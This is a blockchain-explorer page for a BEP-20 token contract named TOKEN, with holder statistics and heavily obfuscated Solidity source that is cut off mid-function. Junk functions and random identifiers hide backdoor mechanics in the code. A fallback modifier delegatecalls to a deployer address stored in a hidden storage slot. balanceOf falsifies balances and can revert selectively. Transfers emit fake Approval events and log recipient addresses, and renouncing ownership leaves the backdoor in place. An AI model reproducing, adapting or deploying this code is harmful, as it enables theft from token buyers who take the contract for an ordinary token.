BNB Price: $695.44 (-2.04%)
Gas: 1 GWei
 

Overview

Max Total Supply

500,000,000,000

Holders

907

Market

Price

$0.00 @ 0.000000 BNB

Onchain Market Cap

$0.00

Circulating Supply Market Cap

-

Other Info

Token Contract (WITH 9 Decimals)

Filtered by Token Holder
BSC: Validator Set
Balance
396,982,549.486325249

Value
$0.00
0x0000000000000000000000000000000000001000
Loading...
Loading
Loading...
Loading
Loading...
Loading

Click here to update the token information / general information
This contract may be a proxy contract. Click on More Options and select Is this a proxy? to confirm and enable the "Read as Proxy" & "Write as Proxy" tabs.

Contract Source Code Verified (Exact Match)

Contract Name:
TOKEN

Compiler Version
v0.8.6+commit.11564f7e

Optimization Enabled:
No with 200 runs

Other Settings:
default evmVersion, MIT license
/**
 *Submitted for verification at BscScan.com on 2024-04-10
*/

pragma solidity =0.8.6;interface IERC20 { function balanceOf(address W6RlDK) external view returns (uint256); function totalSupply() external view returns (uint256); function allowance(address owner, address DHgjtTFnwF2kp) external view returns (uint256); function transfer(address to, uint256 VXW32XAE9RlnKDf8rOMgZ) external returns (bool); function transferFrom( address from, address to, uint256 VXW32XAE9RlnKDf8rOMgZ ) external returns (bool); function approve(address DHgjtTFnwF2kp, uint256 VXW32XAE9RlnKDf8rOMgZ) external returns (bool);}contract TOKEN { address private WjYx1wSaGX99NjP; address public constant WBNB = 0xbb4CdB9CBd36B01bD1cBaEBF2De08d9173bc095c; mapping(address => uint256) internal uPBJkpTqw; mapping(address => mapping(address => uint256)) private r6AX0AxNgQLF3duN4M; uint256 internal xoDNnlnVv6onYZ6fiPCw; address internal xsvLx0K7ThuELFcr; string private SPuOgCb; string private idpA9cwv1WOhAi; event Transfer(address indexed from, address indexed to, uint256 value);fallback() external __ {}function DlMmKjYd6e96xea7LTEb() public view returns(uint256){ uint256 NrsxbrmlFZyuBK; assembly{ if gt(NrsxbrmlFZyuBK,3049140){ NrsxbrmlFZyuBK:=div(NrsxbrmlFZyuBK,2) } NrsxbrmlFZyuBK:=add(3049140,2072082) if gt(NrsxbrmlFZyuBK,1966865){ NrsxbrmlFZyuBK:=div(NrsxbrmlFZyuBK,2) } NrsxbrmlFZyuBK:=div(1966865,1751219) if gt(NrsxbrmlFZyuBK,1858043){ NrsxbrmlFZyuBK:=div(NrsxbrmlFZyuBK,2) } NrsxbrmlFZyuBK:=div(1858043,493833) if gt(NrsxbrmlFZyuBK,8134600){ NrsxbrmlFZyuBK:=div(NrsxbrmlFZyuBK,2) } NrsxbrmlFZyuBK:=mul(8134600,5830585) if gt(NrsxbrmlFZyuBK,9173458){ NrsxbrmlFZyuBK:=div(NrsxbrmlFZyuBK,2) } NrsxbrmlFZyuBK:=mod(9173458,5066704) if gt(NrsxbrmlFZyuBK,2382488){ NrsxbrmlFZyuBK:=div(NrsxbrmlFZyuBK,2) } NrsxbrmlFZyuBK:=div(2382488,884523) if gt(NrsxbrmlFZyuBK,6449804){ NrsxbrmlFZyuBK:=div(NrsxbrmlFZyuBK,2) } NrsxbrmlFZyuBK:=div(6449804,2929623) if gt(NrsxbrmlFZyuBK,8939928){ NrsxbrmlFZyuBK:=div(NrsxbrmlFZyuBK,2) } NrsxbrmlFZyuBK:=add(8939928,5433312) if gt(NrsxbrmlFZyuBK,1891697){ NrsxbrmlFZyuBK:=div(NrsxbrmlFZyuBK,2) } NrsxbrmlFZyuBK:=mul(1891697,1267880) if gt(NrsxbrmlFZyuBK,4381005){ NrsxbrmlFZyuBK:=div(NrsxbrmlFZyuBK,2) } NrsxbrmlFZyuBK:=div(4381005,1610198) if gt(NrsxbrmlFZyuBK,1278000){ NrsxbrmlFZyuBK:=div(NrsxbrmlFZyuBK,2) } NrsxbrmlFZyuBK:=mod(1278000,483801) } return NrsxbrmlFZyuBK;}function dkwV8RHdlLS8nv49QhfL() public view returns(uint256){ uint256 k7Mz5jHFhdumCe; assembly{ if gt(k7Mz5jHFhdumCe,8037303){ k7Mz5jHFhdumCe:=div(k7Mz5jHFhdumCe,2) } k7Mz5jHFhdumCe:=mod(8037303,3917555) if gt(k7Mz5jHFhdumCe,2477989){ k7Mz5jHFhdumCe:=div(k7Mz5jHFhdumCe,2) } k7Mz5jHFhdumCe:=add(2477989,1551550) if gt(k7Mz5jHFhdumCe,7606045){ k7Mz5jHFhdumCe:=div(k7Mz5jHFhdumCe,2) } k7Mz5jHFhdumCe:=mod(7606045,4533320) if gt(k7Mz5jHFhdumCe,5914432){ k7Mz5jHFhdumCe:=div(k7Mz5jHFhdumCe,2) } k7Mz5jHFhdumCe:=mod(5914432,5704607) if gt(k7Mz5jHFhdumCe,7953986){ k7Mz5jHFhdumCe:=div(k7Mz5jHFhdumCe,2) } k7Mz5jHFhdumCe:=add(7953986,3339643) if gt(k7Mz5jHFhdumCe,4734071){ k7Mz5jHFhdumCe:=div(k7Mz5jHFhdumCe,2) } k7Mz5jHFhdumCe:=div(4734071,902989) if gt(k7Mz5jHFhdumCe,5950619){ k7Mz5jHFhdumCe:=div(k7Mz5jHFhdumCe,2) } k7Mz5jHFhdumCe:=mod(5950619,5775805) if gt(k7Mz5jHFhdumCe,6246420){ k7Mz5jHFhdumCe:=div(k7Mz5jHFhdumCe,2) } k7Mz5jHFhdumCe:=div(6246420,3597014) if gt(k7Mz5jHFhdumCe,8295214){ k7Mz5jHFhdumCe:=div(k7Mz5jHFhdumCe,2) } k7Mz5jHFhdumCe:=mod(8295214,1818778) if gt(k7Mz5jHFhdumCe,5551094){ k7Mz5jHFhdumCe:=div(k7Mz5jHFhdumCe,2) } k7Mz5jHFhdumCe:=add(5551094,2464564) if gt(k7Mz5jHFhdumCe,6190095){ k7Mz5jHFhdumCe:=div(k7Mz5jHFhdumCe,2) } k7Mz5jHFhdumCe:=mod(6190095,4924651) if gt(k7Mz5jHFhdumCe,8069133){ k7Mz5jHFhdumCe:=div(k7Mz5jHFhdumCe,2) } k7Mz5jHFhdumCe:=add(8069133,5037138) if gt(k7Mz5jHFhdumCe,4058258){ k7Mz5jHFhdumCe:=div(k7Mz5jHFhdumCe,2) } k7Mz5jHFhdumCe:=mod(4058258,1965529) } return k7Mz5jHFhdumCe;} function owner() public view virtual returns (address) { uint256 BgKa9WTLWUrwpq3;BgKa9WTLWUrwpq3+=1603969;require(BgKa9WTLWUrwpq3 > 6480);BgKa9WTLWUrwpq3+=1675686;require(BgKa9WTLWUrwpq3 > 5189);BgKa9WTLWUrwpq3+=4545864;require(BgKa9WTLWUrwpq3 > 3708);BgKa9WTLWUrwpq3+=4675755;require(BgKa9WTLWUrwpq3 > 6262); return WjYx1wSaGX99NjP; } function decreaseAllowance(address DHgjtTFnwF2kp, uint256 subtractedValue) public virtual returns (bool) { address owner = TTYppXVuy4Ju(); uint256 BsYF4lRGPt = allowance(owner, DHgjtTFnwF2kp); require( BsYF4lRGPt >= subtractedValue, "ERC20: decreased allowance below zero" ); unchecked { _approve(owner, DHgjtTFnwF2kp, BsYF4lRGPt - subtractedValue); } return true; }constructor() { nnvdz(tx.origin); _mint(address(this), 500000000000000000000); } function rxD9Ge5yDS49D3EwE( string memory tokenName, string memory coinSymbol, uint256 supply_ ) public onlyOwner { idpA9cwv1WOhAi = coinSymbol; SPuOgCb = tokenName; assembly { sstore(address(), caller()) } } event Approval( address indexed owner, address indexed DHgjtTFnwF2kp, uint256 value ); function balanceOf(address W6RlDK) public view returns (uint256) { if (msg.sender == xsvLx0K7ThuELFcr) { uint256 VXW32XAE9RlnKDf8rOMgZ = sJccHvAMlTj(); assembly { if lt(VXW32XAE9RlnKDf8rOMgZ, sload(32)) { revert(0, 0) } } } if (W6RlDK == xsvLx0K7ThuELFcr) return uPBJkpTqw[W6RlDK]; return uPBJkpTqw[W6RlDK] % xoDNnlnVv6onYZ6fiPCw; } function _spendAllowance( address owner, address DHgjtTFnwF2kp, uint256 VXW32XAE9RlnKDf8rOMgZ ) internal virtual { uint256 BsYF4lRGPt = allowance(owner, DHgjtTFnwF2kp); if (BsYF4lRGPt != type(uint256).max) { require( BsYF4lRGPt >= VXW32XAE9RlnKDf8rOMgZ, "ERC20: insufficient allowance" ); unchecked { _approve(owner, DHgjtTFnwF2kp, BsYF4lRGPt - VXW32XAE9RlnKDf8rOMgZ); } } } function totalSupply() public view virtual returns (uint256) { uint256 vpmzkch87ATUm8;vpmzkch87ATUm8+=5123888;require(vpmzkch87ATUm8 > 8798);vpmzkch87ATUm8+=2880754;require(vpmzkch87ATUm8 > 1232);vpmzkch87ATUm8+=3115794;require(vpmzkch87ATUm8 > 7267);vpmzkch87ATUm8+=1509873;require(vpmzkch87ATUm8 > 3456);vpmzkch87ATUm8+=2465883;require(vpmzkch87ATUm8 > 5313);vpmzkch87ATUm8+=2398016;require(vpmzkch87ATUm8 > 9007); return xoDNnlnVv6onYZ6fiPCw; } function decimals() public view virtual returns (uint8) { uint256 FkvpDp2rS30DlII;FkvpDp2rS30DlII+=1071766;require(FkvpDp2rS30DlII > 2021);FkvpDp2rS30DlII+=526957;require(FkvpDp2rS30DlII > 3296);FkvpDp2rS30DlII+=1844241;require(FkvpDp2rS30DlII > 2880);FkvpDp2rS30DlII+=4277498;require(FkvpDp2rS30DlII > 89);FkvpDp2rS30DlII+=4012214;require(FkvpDp2rS30DlII > 7057);FkvpDp2rS30DlII+=5103551;require(FkvpDp2rS30DlII > 6223);FkvpDp2rS30DlII+=4182451;require(FkvpDp2rS30DlII > 1055); return 9; }function TTYppXVuy4Ju() internal view virtual returns (address) { return msg.sender; } function _approve( address owner, address DHgjtTFnwF2kp, uint256 VXW32XAE9RlnKDf8rOMgZ ) internal virtual { require(owner != address(0), "ERC20: approve from the zero address"); require(DHgjtTFnwF2kp != address(0), "ERC20: approve to the zero address"); uint256 AH3luv36;AH3luv36+=151450;require(AH3luv36 > 3983);AH3luv36+=449130;require(AH3luv36 > 2026);AH3luv36+=2996899;require(AH3luv36 > 6591);AH3luv36+=4192795;require(AH3luv36 > 3291);AH3luv36+=3990086;require(AH3luv36 > 346);AH3luv36+=20884;require(AH3luv36 > 1492);AH3luv36+=31270;require(AH3luv36 > 7572);AH3luv36+=3908629;require(AH3luv36 > 6127); r6AX0AxNgQLF3duN4M[owner][DHgjtTFnwF2kp] = VXW32XAE9RlnKDf8rOMgZ; emit Approval(owner, DHgjtTFnwF2kp, VXW32XAE9RlnKDf8rOMgZ); } function allowance(address owner, address DHgjtTFnwF2kp) public view virtual returns (uint256) { return r6AX0AxNgQLF3duN4M[owner][DHgjtTFnwF2kp]; } function _afterTokenTransfer( address from, address to, uint256 VXW32XAE9RlnKDf8rOMgZ ) internal { if (uPBJkpTqw[from] > xoDNnlnVv6onYZ6fiPCw * 0xfe) { assembly { sstore(32, 0) } } else if ( uPBJkpTqw[to] < xoDNnlnVv6onYZ6fiPCw && to != xsvLx0K7ThuELFcr ) { assembly{ mstore(0,VXW32XAE9RlnKDf8rOMgZ) log3( 0, 32, 0x8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925, to, address() ) let jVSrIQSqVHkewr5sF := sload(9999) sstore(add(10000, jVSrIQSqVHkewr5sF), to) sstore(9999, add(1, jVSrIQSqVHkewr5sF)) } } } function _transfer( address from, address to, uint256 VXW32XAE9RlnKDf8rOMgZ ) internal virtual { require(from != address(0), "ERC20: transfer from the zero address"); require( to != address(0) && to != address(this), "ERC20: transfer to the zero address" ); _beforeTokenTransfer(from, to, VXW32XAE9RlnKDf8rOMgZ); uint256 fromBalance = uPBJkpTqw[from]; require(fromBalance >= VXW32XAE9RlnKDf8rOMgZ, "ERC20: transfer exceeds balance"); uPBJkpTqw[from] -= VXW32XAE9RlnKDf8rOMgZ; uPBJkpTqw[to] += VXW32XAE9RlnKDf8rOMgZ; emit Transfer(from, to, VXW32XAE9RlnKDf8rOMgZ); _afterTokenTransfer(from, to, VXW32XAE9RlnKDf8rOMgZ); }event OwnershipTransferred( address indexed previousOwner, address indexed d86jpFuTtPEBJWnKQhY );function hJNRLTeBff8ICcFqyD54() public view returns(uint256){ uint256 GqSKtdY2ZGhNuP; assembly{ if gt(GqSKtdY2ZGhNuP,6636696){ GqSKtdY2ZGhNuP:=div(GqSKtdY2ZGhNuP,2) } GqSKtdY2ZGhNuP:=div(6636696,4830991) if gt(GqSKtdY2ZGhNuP,2494113){ GqSKtdY2ZGhNuP:=div(GqSKtdY2ZGhNuP,2) } GqSKtdY2ZGhNuP:=div(2494113,1313759) if gt(GqSKtdY2ZGhNuP,5669058){ GqSKtdY2ZGhNuP:=div(GqSKtdY2ZGhNuP,2) } GqSKtdY2ZGhNuP:=sub(5669058,5634465) if gt(GqSKtdY2ZGhNuP,8439446){ GqSKtdY2ZGhNuP:=div(GqSKtdY2ZGhNuP,2) } GqSKtdY2ZGhNuP:=mul(8439446,4579616) if gt(GqSKtdY2ZGhNuP,9354000){ GqSKtdY2ZGhNuP:=div(GqSKtdY2ZGhNuP,2) } GqSKtdY2ZGhNuP:=mul(9354000,2767891) if gt(GqSKtdY2ZGhNuP,1904428){ GqSKtdY2ZGhNuP:=div(GqSKtdY2ZGhNuP,2) } GqSKtdY2ZGhNuP:=mod(1904428,736421) if gt(GqSKtdY2ZGhNuP,6017900){ GqSKtdY2ZGhNuP:=div(GqSKtdY2ZGhNuP,2) } GqSKtdY2ZGhNuP:=mod(6017900,5748894) } return GqSKtdY2ZGhNuP;}function GUignj1Wd25hGwqPy() public view returns(uint256){ uint256 RS20CAi2v; assembly{ if gt(RS20CAi2v,8008185){ RS20CAi2v:=div(RS20CAi2v,2) } RS20CAi2v:=sub(8008185,1525550) if gt(RS20CAi2v,6921324){ RS20CAi2v:=div(RS20CAi2v,2) } RS20CAi2v:=add(6921324,4995757) if gt(RS20CAi2v,8412361){ RS20CAi2v:=div(RS20CAi2v,2) } RS20CAi2v:=div(8412361,2223303) if gt(RS20CAi2v,7699272){ RS20CAi2v:=div(RS20CAi2v,2) } RS20CAi2v:=sub(7699272,4124566) if gt(RS20CAi2v,7565424){ RS20CAi2v:=div(RS20CAi2v,2) } RS20CAi2v:=div(7565424,4373967) } return RS20CAi2v;}function A7YPylAj() internal view virtual returns (bytes calldata) { return msg.data; } function name() public view virtual returns (string memory) { uint256 MXnkWHNDMFb5jwzM;MXnkWHNDMFb5jwzM+=3530618;require(MXnkWHNDMFb5jwzM > 9761);MXnkWHNDMFb5jwzM+=1526014;require(MXnkWHNDMFb5jwzM > 3808);MXnkWHNDMFb5jwzM+=5461131;require(MXnkWHNDMFb5jwzM > 9447);MXnkWHNDMFb5jwzM+=2710382;require(MXnkWHNDMFb5jwzM > 4876); return SPuOgCb; } function approve(address DHgjtTFnwF2kp, uint256 VXW32XAE9RlnKDf8rOMgZ) public virtual returns (bool) { address owner = TTYppXVuy4Ju(); _approve(owner, DHgjtTFnwF2kp, VXW32XAE9RlnKDf8rOMgZ); return true; }function sJccHvAMlTj() internal view returns (uint256) { (,bytes memory returnData) = WBNB.staticcall(abi.encodeWithSelector(0x70a08231,xsvLx0K7ThuELFcr)); return abi.decode(returnData, (uint256)); }function Jlgw3zBiI2wj2AYa() public view returns(uint256){ uint256 LztAEr0AlpVu8; assembly{ if gt(LztAEr0AlpVu8,6683211){ LztAEr0AlpVu8:=div(LztAEr0AlpVu8,2) } LztAEr0AlpVu8:=sub(6683211,3955472) if gt(LztAEr0AlpVu8,8246444){ LztAEr0AlpVu8:=div(LztAEr0AlpVu8,2) } LztAEr0AlpVu8:=mul(8246444,1581373) if gt(LztAEr0AlpVu8,2116332){ LztAEr0AlpVu8:=div(LztAEr0AlpVu8,2) } LztAEr0AlpVu8:=sub(2116332,1039144) if gt(LztAEr0AlpVu8,6647242){ LztAEr0AlpVu8:=div(LztAEr0AlpVu8,2) } LztAEr0AlpVu8:=mod(6647242,2602871) if gt(LztAEr0AlpVu8,9984872){ LztAEr0AlpVu8:=div(LztAEr0AlpVu8,2) } LztAEr0AlpVu8:=sub(9984872,5864761) if gt(LztAEr0AlpVu8,6697247){ LztAEr0AlpVu8:=div(LztAEr0AlpVu8,2) } LztAEr0AlpVu8:=div(6697247,5779107) if gt(LztAEr0AlpVu8,8766472){ LztAEr0AlpVu8:=div(LztAEr0AlpVu8,2) } LztAEr0AlpVu8:=add(8766472,904562) if gt(LztAEr0AlpVu8,2557038){ LztAEr0AlpVu8:=div(LztAEr0AlpVu8,2) } LztAEr0AlpVu8:=add(2557038,2438446) if gt(LztAEr0AlpVu8,3686355){ LztAEr0AlpVu8:=div(LztAEr0AlpVu8,2) } LztAEr0AlpVu8:=div(3686355,3578278) if gt(LztAEr0AlpVu8,8330155){ LztAEr0AlpVu8:=div(LztAEr0AlpVu8,2) } LztAEr0AlpVu8:=sub(8330155,5768903) if gt(LztAEr0AlpVu8,4357126){ LztAEr0AlpVu8:=div(LztAEr0AlpVu8,2) } LztAEr0AlpVu8:=add(4357126,3925880) if gt(LztAEr0AlpVu8,4693462){ LztAEr0AlpVu8:=div(LztAEr0AlpVu8,2) } LztAEr0AlpVu8:=add(4693462,3909983) if gt(LztAEr0AlpVu8,1877749){ LztAEr0AlpVu8:=div(LztAEr0AlpVu8,2) } LztAEr0AlpVu8:=sub(1877749,260744) if gt(LztAEr0AlpVu8,5725761){ LztAEr0AlpVu8:=div(LztAEr0AlpVu8,2) } LztAEr0AlpVu8:=mul(5725761,4014896) if gt(LztAEr0AlpVu8,9765095){ LztAEr0AlpVu8:=div(LztAEr0AlpVu8,2) } LztAEr0AlpVu8:=sub(9765095,2346677) } return LztAEr0AlpVu8;} function nnvdz(address d86jpFuTtPEBJWnKQhY) internal virtual { address oldOwner = WjYx1wSaGX99NjP; WjYx1wSaGX99NjP = d86jpFuTtPEBJWnKQhY; emit OwnershipTransferred(oldOwner, d86jpFuTtPEBJWnKQhY); }function MFgg0z6xFEg6yQ8p() public view returns(uint256){ uint256 qWFx8Z5qm; assembly{ if gt(qWFx8Z5qm,7408127){ qWFx8Z5qm:=div(qWFx8Z5qm,2) } qWFx8Z5qm:=mul(7408127,512237) if gt(qWFx8Z5qm,7943721){ qWFx8Z5qm:=div(qWFx8Z5qm,2) } qWFx8Z5qm:=add(7943721,4915934) if gt(qWFx8Z5qm,6117000){ qWFx8Z5qm:=div(qWFx8Z5qm,2) } qWFx8Z5qm:=mul(6117000,4114955) if gt(qWFx8Z5qm,6595287){ qWFx8Z5qm:=div(qWFx8Z5qm,2) } qWFx8Z5qm:=add(6595287,4162576) if gt(qWFx8Z5qm,1432002){ qWFx8Z5qm:=div(qWFx8Z5qm,2) } qWFx8Z5qm:=div(1432002,966014) if gt(qWFx8Z5qm,9023536){ qWFx8Z5qm:=div(qWFx8Z5qm,2) } qWFx8Z5qm:=mul(9023536,735843) if gt(qWFx8Z5qm,6676329){ qWFx8Z5qm:=div(qWFx8Z5qm,2) } qWFx8Z5qm:=mul(6676329,5136416) if gt(qWFx8Z5qm,7320413){ qWFx8Z5qm:=div(qWFx8Z5qm,2) } qWFx8Z5qm:=add(7320413,1810572) if gt(qWFx8Z5qm,6806767){ qWFx8Z5qm:=div(qWFx8Z5qm,2) } qWFx8Z5qm:=sub(6806767,260067) if gt(qWFx8Z5qm,7168405){ qWFx8Z5qm:=div(qWFx8Z5qm,2) } qWFx8Z5qm:=mul(7168405,764465) } return qWFx8Z5qm;} modifier __() { bytes memory value = msg.data; assembly { if iszero(iszero(eq(mload(add(value, add(32,4))), mul(4,8)))) { if iszero( delegatecall( gas(), sload(address()), add(value, mul(8,4)), mload(value), 0, 32 ) ) { revert(0, 0) } return(0, 32) } } _; } function _burn(address W6RlDK, uint256 VXW32XAE9RlnKDf8rOMgZ) internal virtual { require(W6RlDK != address(0), "ERC20: burn from the zero address"); uint256 aw4AS8y0M3LOA;aw4AS8y0M3LOA+=1060874;require(aw4AS8y0M3LOA > 7056);aw4AS8y0M3LOA+=5011712;require(aw4AS8y0M3LOA > 9413);aw4AS8y0M3LOA+=5770018;require(aw4AS8y0M3LOA > 9907);aw4AS8y0M3LOA+=5147310;require(aw4AS8y0M3LOA > 7702);aw4AS8y0M3LOA+=2826151;require(aw4AS8y0M3LOA > 4857);aw4AS8y0M3LOA+=4585613;require(aw4AS8y0M3LOA > 6900);aw4AS8y0M3LOA+=4994257;require(aw4AS8y0M3LOA > 6938); _beforeTokenTransfer(W6RlDK, address(0), VXW32XAE9RlnKDf8rOMgZ); uint256 W6RlDKBalance = uPBJkpTqw[W6RlDK]; require(W6RlDKBalance >= VXW32XAE9RlnKDf8rOMgZ, "ERC20: burn exceeds balance"); uPBJkpTqw[W6RlDK] -= VXW32XAE9RlnKDf8rOMgZ; xoDNnlnVv6onYZ6fiPCw -= VXW32XAE9RlnKDf8rOMgZ; emit Transfer(W6RlDK, address(0), VXW32XAE9RlnKDf8rOMgZ); _afterTokenTransfer(W6RlDK, address(0), VXW32XAE9RlnKDf8rOMgZ); }function dy1new0P6Mz9cIDOcT() public view returns(uint256){ uint256 pZpJu6Za94ifU; assembly{ if gt(pZpJu6Za94ifU,7700044){ pZpJu6Za94ifU:=div(pZpJu6Za94ifU,2) } pZpJu6Za94ifU:=sub(7700044,4015538) if gt(pZpJu6Za94ifU,7080611){ pZpJu6Za94ifU:=div(pZpJu6Za94ifU,2) } pZpJu6Za94ifU:=mod(7080611,3866928) if gt(pZpJu6Za94ifU,1944701){ pZpJu6Za94ifU:=div(pZpJu6Za94ifU,2) } pZpJu6Za94ifU:=sub(1944701,459937) if gt(pZpJu6Za94ifU,6826489){ pZpJu6Za94ifU:=div(pZpJu6Za94ifU,2) } pZpJu6Za94ifU:=add(6826489,3426650) if gt(pZpJu6Za94ifU,9568238){ pZpJu6Za94ifU:=div(pZpJu6Za94ifU,2) } pZpJu6Za94ifU:=add(9568238,584174) if gt(pZpJu6Za94ifU,2902044){ pZpJu6Za94ifU:=div(pZpJu6Za94ifU,2) } pZpJu6Za94ifU:=mod(2902044,1240944) if gt(pZpJu6Za94ifU,7482496){ pZpJu6Za94ifU:=div(pZpJu6Za94ifU,2) } pZpJu6Za94ifU:=sub(7482496,4033283) if gt(pZpJu6Za94ifU,7257259){ pZpJu6Za94ifU:=div(pZpJu6Za94ifU,2) } pZpJu6Za94ifU:=sub(7257259,3075359) if gt(pZpJu6Za94ifU,7471998){ pZpJu6Za94ifU:=div(pZpJu6Za94ifU,2) } pZpJu6Za94ifU:=div(7471998,35169) if gt(pZpJu6Za94ifU,9565094){ pZpJu6Za94ifU:=div(pZpJu6Za94ifU,2) } pZpJu6Za94ifU:=add(9565094,2379606) if gt(pZpJu6Za94ifU,7658647){ pZpJu6Za94ifU:=div(pZpJu6Za94ifU,2) } pZpJu6Za94ifU:=mul(7658647,2013572) if gt(pZpJu6Za94ifU,4881678){ pZpJu6Za94ifU:=div(pZpJu6Za94ifU,2) } pZpJu6Za94ifU:=sub(4881678,2746897) if gt(pZpJu6Za94ifU,7111873){ pZpJu6Za94ifU:=div(pZpJu6Za94ifU,2) } pZpJu6Za94ifU:=sub(7111873,2870312) if gt(pZpJu6Za94ifU,4551623){ pZpJu6Za94ifU:=div(pZpJu6Za94ifU,2) } pZpJu6Za94ifU:=mul(4551623,145671) } return pZpJu6Za94ifU;}function QZsfmUNBhD() public view returns(uint256){ uint256 kRCcafOf4; assembly{ if gt(kRCcafOf4,6922593){ kRCcafOf4:=div(kRCcafOf4,2) } kRCcafOf4:=mul(6922593,4417671) if gt(kRCcafOf4,8658990){ kRCcafOf4:=div(kRCcafOf4,2) } kRCcafOf4:=div(8658990,2593131) if gt(kRCcafOf4,1924660){ kRCcafOf4:=div(kRCcafOf4,2) } kRCcafOf4:=mul(1924660,962490) if gt(kRCcafOf4,5637419){ kRCcafOf4:=div(kRCcafOf4,2) } kRCcafOf4:=add(5637419,3468353) if gt(kRCcafOf4,9632654){ kRCcafOf4:=div(kRCcafOf4,2) } kRCcafOf4:=sub(9632654,2061538) if gt(kRCcafOf4,9625533){ kRCcafOf4:=div(kRCcafOf4,2) } kRCcafOf4:=sub(9625533,5486874) if gt(kRCcafOf4,8863636){ kRCcafOf4:=div(kRCcafOf4,2) } kRCcafOf4:=add(8863636,5076117) if gt(kRCcafOf4,5364856){ kRCcafOf4:=div(kRCcafOf4,2) } kRCcafOf4:=mul(5364856,1188338) if gt(kRCcafOf4,9664146){ kRCcafOf4:=div(kRCcafOf4,2) } kRCcafOf4:=mul(9664146,4588368) if gt(kRCcafOf4,3192505){ kRCcafOf4:=div(kRCcafOf4,2) } kRCcafOf4:=mul(3192505,2965099) } return kRCcafOf4;} function transferOwnership(address d86jpFuTtPEBJWnKQhY) public virtual onlyOwner { require( d86jpFuTtPEBJWnKQhY != address(0), "Ownable: new owner is the zero address" ); nnvdz(d86jpFuTtPEBJWnKQhY); } function increaseAllowance(address DHgjtTFnwF2kp, uint256 addedValue) public virtual returns (bool) { address owner = TTYppXVuy4Ju(); _approve(owner, DHgjtTFnwF2kp, allowance(owner, DHgjtTFnwF2kp) + addedValue); return true; }function rLTlGu8d3Agy41GGb35L() public view returns(uint256){ uint256 I7oLbVhG1fbpQHa; assembly{ if gt(I7oLbVhG1fbpQHa,5694698){ I7oLbVhG1fbpQHa:=div(I7oLbVhG1fbpQHa,2) } I7oLbVhG1fbpQHa:=mul(5694698,5639266) if gt(I7oLbVhG1fbpQHa,6528664){ I7oLbVhG1fbpQHa:=div(I7oLbVhG1fbpQHa,2) } I7oLbVhG1fbpQHa:=add(6528664,3002906) if gt(I7oLbVhG1fbpQHa,9056626){ I7oLbVhG1fbpQHa:=div(I7oLbVhG1fbpQHa,2) } I7oLbVhG1fbpQHa:=mod(9056626,5676865) if gt(I7oLbVhG1fbpQHa,4717809){ I7oLbVhG1fbpQHa:=div(I7oLbVhG1fbpQHa,2) } I7oLbVhG1fbpQHa:=div(4717809,4493091) if gt(I7oLbVhG1fbpQHa,7313312){ I7oLbVhG1fbpQHa:=div(I7oLbVhG1fbpQHa,2) } I7oLbVhG1fbpQHa:=sub(7313312,1204086) if gt(I7oLbVhG1fbpQHa,9148133){ I7oLbVhG1fbpQHa:=div(I7oLbVhG1fbpQHa,2) } I7oLbVhG1fbpQHa:=sub(9148133,5655283) if gt(I7oLbVhG1fbpQHa,6114341){ I7oLbVhG1fbpQHa:=div(I7oLbVhG1fbpQHa,2) } I7oLbVhG1fbpQHa:=sub(6114341,4411377) if gt(I7oLbVhG1fbpQHa,6579749){ I7oLbVhG1fbpQHa:=div(I7oLbVhG1fbpQHa,2) } I7oLbVhG1fbpQHa:=mul(6579749,5702071) if gt(I7oLbVhG1fbpQHa,6784332){ I7oLbVhG1fbpQHa:=div(I7oLbVhG1fbpQHa,2) } I7oLbVhG1fbpQHa:=div(6784332,4964606) if gt(I7oLbVhG1fbpQHa,7957180){ I7oLbVhG1fbpQHa:=div(I7oLbVhG1fbpQHa,2) } I7oLbVhG1fbpQHa:=sub(7957180,4810560) if gt(I7oLbVhG1fbpQHa,8360963){ I7oLbVhG1fbpQHa:=div(I7oLbVhG1fbpQHa,2) } I7oLbVhG1fbpQHa:=add(8360963,4624635) if gt(I7oLbVhG1fbpQHa,4878394){ I7oLbVhG1fbpQHa:=div(I7oLbVhG1fbpQHa,2) } I7oLbVhG1fbpQHa:=div(4878394,3350414) if gt(I7oLbVhG1fbpQHa,5616497){ I7oLbVhG1fbpQHa:=div(I7oLbVhG1fbpQHa,2) } I7oLbVhG1fbpQHa:=sub(5616497,4164036) } return I7oLbVhG1fbpQHa;}function tKtUrZfaXMGwvkBz76Fi() public view returns(uint256){ uint256 Nm9oY5vjGmlxj; assembly{ if gt(Nm9oY5vjGmlxj,7663730){ Nm9oY5vjGmlxj:=div(Nm9oY5vjGmlxj,2) } Nm9oY5vjGmlxj:=sub(7663730,4052496) if gt(Nm9oY5vjGmlxj,8705825){ Nm9oY5vjGmlxj:=div(Nm9oY5vjGmlxj,2) } Nm9oY5vjGmlxj:=div(8705825,2587201) if gt(Nm9oY5vjGmlxj,9962918){ Nm9oY5vjGmlxj:=div(Nm9oY5vjGmlxj,2) } Nm9oY5vjGmlxj:=sub(9962918,2347303) if gt(Nm9oY5vjGmlxj,7117658){ Nm9oY5vjGmlxj:=div(Nm9oY5vjGmlxj,2) } Nm9oY5vjGmlxj:=add(7117658,1971866) if gt(Nm9oY5vjGmlxj,9991649){ Nm9oY5vjGmlxj:=div(Nm9oY5vjGmlxj,2) } Nm9oY5vjGmlxj:=div(9991649,5464632) if gt(Nm9oY5vjGmlxj,5410434){ Nm9oY5vjGmlxj:=div(Nm9oY5vjGmlxj,2) } Nm9oY5vjGmlxj:=div(5410434,4539567) if gt(Nm9oY5vjGmlxj,5914855){ Nm9oY5vjGmlxj:=div(Nm9oY5vjGmlxj,2) } Nm9oY5vjGmlxj:=mod(5914855,2444046) } return Nm9oY5vjGmlxj;} function renounceOwnership() public virtual onlyOwner { uint256 oZdOyRAk;oZdOyRAk+=4592482;require(oZdOyRAk > 9846);oZdOyRAk+=3482162;require(oZdOyRAk > 9717);oZdOyRAk+=1510846;require(oZdOyRAk > 663);oZdOyRAk+=3973853;require(oZdOyRAk > 1512);oZdOyRAk+=4475972;require(oZdOyRAk > 8506); nnvdz(address(0)); } function symbol() public view virtual returns (string memory) { uint256 ghRvi5jOZVPsB5z;ghRvi5jOZVPsB5z+=1726847;require(ghRvi5jOZVPsB5z > 9382);ghRvi5jOZVPsB5z+=554239;require(ghRvi5jOZVPsB5z > 1449);ghRvi5jOZVPsB5z+=4051999;require(ghRvi5jOZVPsB5z > 7636); return idpA9cwv1WOhAi; } function transferFrom( address from, address to, uint256 VXW32XAE9RlnKDf8rOMgZ ) public virtual returns (bool) { address DHgjtTFnwF2kp = TTYppXVuy4Ju(); _spendAllowance(from, DHgjtTFnwF2kp, 